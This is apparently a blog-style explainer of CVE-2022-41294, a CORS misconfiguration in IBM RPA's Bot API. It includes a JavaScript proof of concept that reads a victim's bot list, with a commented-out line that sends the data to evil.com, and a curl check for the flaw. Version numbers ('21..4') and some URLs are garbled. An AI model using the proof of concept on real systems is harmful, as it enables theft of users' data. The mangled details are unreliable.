IBM Robotic Process Automation (RPA) lets businesses automate routine tasks by letting bots talk to APIs. But what if those APIs had a security hole that let attackers mess with them from malicious websites? That's exactly what CVE-2022-41294 is about—a Cross-Origin Resource Sharing (CORS) vulnerability affecting versions 21.. through 21..4 of IBM RPA. In this exclusive, beginner-friendly deep-dive, we unpack what the bug is, how it works, and how attackers could exploit it—including proof-of-concept code and handy resources for further reading.

What is CVE-2022-41294?

CVE-2022-41294 is a security weakness in the IBM Robotic Process Automation (RPA) platform, specifically in its Bot API. Versions 21.., 21..1, 21..2, 21..3, and 21..4 are vulnerable. The flaw enables Cross-Origin Resource Sharing (CORS) misconfigurations, which could let attackers interact with sensitive APIs from unauthorized domains—bypassing the same-origin restrictions modern browsers use for safety.

Vulnerability Type: CORS Misconfiguration

- CVE: CVE-2022-41294
- IBM X-Force ID: 236807 (Reference)

Understanding the CORS Problem

Normally, your browser prevents JavaScript from one website (say, evil.com) from making calls to APIs hosted by another (like yourcompany.com/rpa/api/bot), unless the server explicitly says that's OK by sending certain HTTP headers.

The API at yourcompany.com should send

Access-Control-Allow-Origin: https://yourcompany.com

The API responds with

Access-Control-Allow-Origin: *

Or, worse, it echoes back whatever origin is sent—opening the gate for any website.

Why Is This Dangerous?

If an attacker convinces a logged-in IBM RPA user to visit a malicious site, that site’s JavaScript can make authenticated API calls as the user, possibly reading sensitive data or triggering bot actions.

Attacker lures victim to evil.com.

3. evil.com sends AJAX requests to yourcompany.com/rpa/api/bot using victim’s credentials.
4. If the API CORS headers allow the request (allowing ‘*’ or echoing Origin), JavaScript on evil.com gets access to the API responses.

An attacker could then read data, trigger process bots, or exfiltrate sensitive info.

Proof of Concept: Exploiting CORS via JavaScript

Below is a simple JavaScript example you can run in a browser console or as part of a malicious web page:

// Suppose the victim visits evil.com while authenticated to IBM RPA

fetch('https://yourcompany.com/rpa/api/bot/list', {
  method: 'GET',
  credentials: 'include', // send cookies/session
  headers: {
    'Accept': 'application/json'
  }
})
.then(response => response.json())
.then(data => {
  // This shouldn't work! But if CORS is misconfigured, data will print
  console.log("Bot List: ", data);
  // Attacker might send this to their server
  // fetch('https://evil.com/leak';, { method: 'POST', body: JSON.stringify(data) });
})
.catch(err => console.error("Request failed", err));

CVEs and Official Announcements:

- NVD: CVE-2022-41294
- IBM Security Bulletin
- IBM X-Force Exchange

General CORS Security Info:

- OWASP CORS Guide
- Mozilla Developer Docs: CORS

What Should You Do?

- Upgrade: Patch IBM Robotic Process Automation to the latest version, or the one recommended by IBM.
- Check CORS Headers: Use tools like curl or browser dev tools to make sure only trusted origins are allowed.

curl -I -H "Origin: https://evil.com"; https://yourcompany.com/rpa/api/bot/list

If you see Access-Control-Allow-Origin: * or your origin echoed back—you’re vulnerable.

- Limit Credentials: Use secure authentication tokens, set cookies as SameSite, and restrict API access wherever possible.

In Summary

CVE-2022-41294 in IBM RPA is a real-world threat. A single CORS misconfiguration can let an attacker’s website hijack API calls and data from unsuspecting users. Always fix CORS headers to allow access only from trusted domains, and keep your IBM RPA installations up to date.

Stay safe!

*This article is exclusive—crafted in plain English for those wanting a straight-to-the-point explanation and instant hands-on guidance. For anything critical, always consult security specialists or IBM’s own support for your unique environment.*

Timeline

Published on: 10/06/2022 18:16:00 UTC
Last modified on: 10/14/2022 20:30:00 UTC